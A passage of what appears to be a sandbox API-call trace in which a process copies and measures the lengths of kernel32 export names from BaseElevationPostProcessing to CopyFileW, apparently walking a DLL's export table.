returned="BaseElevationPostProcessing" [0137.187] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0137.187] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0137.187] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0137.187] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0137.187] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0137.187] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0137.187] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0137.187] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0137.187] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0137.187] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0137.187] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0137.187] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0137.187] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0137.187] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0137.187] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0137.187] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0137.187] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0137.187] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0137.187] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0137.187] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0137.187] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0137.187] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0137.187] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0137.187] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0137.187] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0137.187] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0137.187] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0137.187] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0137.187] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0137.187] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0137.187] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0137.188] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0137.188] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0137.188] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0137.188] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0137.188] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0137.188] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0137.188] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0137.188] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0137.188] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0137.188] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0137.188] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0137.188] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0137.188] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0137.188] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0137.188] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0137.188] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0137.188] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0137.188] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0137.188] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0137.188] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0137.188] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0137.188] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0137.188] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0137.188] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0137.188] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0137.188] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0137.188] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0137.188] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0137.188] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0137.188] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0137.188] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0137.188] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0137.188] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0137.188] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0137.188] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0137.188] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0137.188] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0137.188] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0137.188] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0137.188] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0137.188] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0137.188] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0137.189] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0137.189] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0137.189] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0137.189] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0137.189] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0137.189] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0137.189] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0137.189] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0137.189] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0137.189] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0137.189] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0137.189] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0137.189] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0137.189] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0137.189] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0137.189] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0137.189] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0137.190] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0137.190] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0137.190] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0137.190] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0137.190] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0137.190] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0137.190] lstrlenA (lpString="BEEP") returned 4 [0137.190] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0137.190] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0137.190] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0137.190] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0137.190] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0137.190] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0137.190] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0137.190] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0137.190] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0137.190] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0137.190] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0137.190] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0137.190] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0137.190] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0137.190] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0137.190] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0137.190] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0137.190] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0137.190] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0137.190] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0137.190] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0137.190] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0137.190] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0137.190] lstrlenA (lpString="CANCELIO") returned 8 [0137.190] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0137.190] lstrlenA (lpString="CANCELIOEX") returned 10 [0137.190] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0137.190] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0137.190] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0137.190] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0137.190] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0137.190] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0137.190] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0137.191] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0137.191] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0137.191] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0137.191] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0137.191] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0137.191] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0137.191] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0137.191] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0137.191] lstrlenA (lpString="CHECKELEVATION") returned 14 [0137.191] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0137.191] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0137.191] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0137.191] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0137.191] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0137.191] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0137.191] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0137.191] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0137.191] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0137.191] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0137.191] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0137.191] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0137.191] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0137.191] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0137.191] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0137.191] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0137.191] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0137.191] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0137.191] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0137.191] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0137.191] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0137.191] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0137.191] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0137.191] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0137.191] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0137.191] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0137.191] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0137.191] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0137.191] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0137.191] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0137.191] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0137.191] lstrlenA (lpString="CLOSESTATE") returned 10 [0137.192] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0137.192] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0137.192] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0137.192] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0137.192] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0137.192] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0137.192] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0137.192] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0137.192] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0137.192] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0137.192] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0137.192] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0137.192] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0137.192] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0137.192] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0137.192] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0137.192] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0137.192] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0137.192] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0137.192] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0137.192] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0137.192] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0137.192] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0137.192] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0137.192] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0137.192] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0137.192] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0137.192] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0137.192] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0137.192] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0137.192] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0137.192] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0137.192] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0137.192] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0137.192] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0137.192] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0137.192] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0137.192] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0137.192] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0137.192] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0137.192] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0137.192] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0137.193] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0137.193] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0137.193] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0137.193] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0137.193] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0137.193] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0137.193] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0137.193] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0137.193] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0137.193] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0137.193] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0137.193] lstrlenA (lpString="COPYCONTEXT") returned 11 [0137.193] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0137.193] lstrlenA (lpString="COPYFILE2") returned 9 [0137.193] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0137.193] lstrlenA (lpString="COPYFILEA") returned 9 [0137.193] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0137.193] lstrlenA (lpString="COPYFILEEXA") returned 11 [0137.193] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0137.193] lstrlenA (lpString="COPYFILEEXW") returned 11 [0137.193] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0137.193] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0137.193] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0137.193] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0137.193] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0137.193] lstrlenA 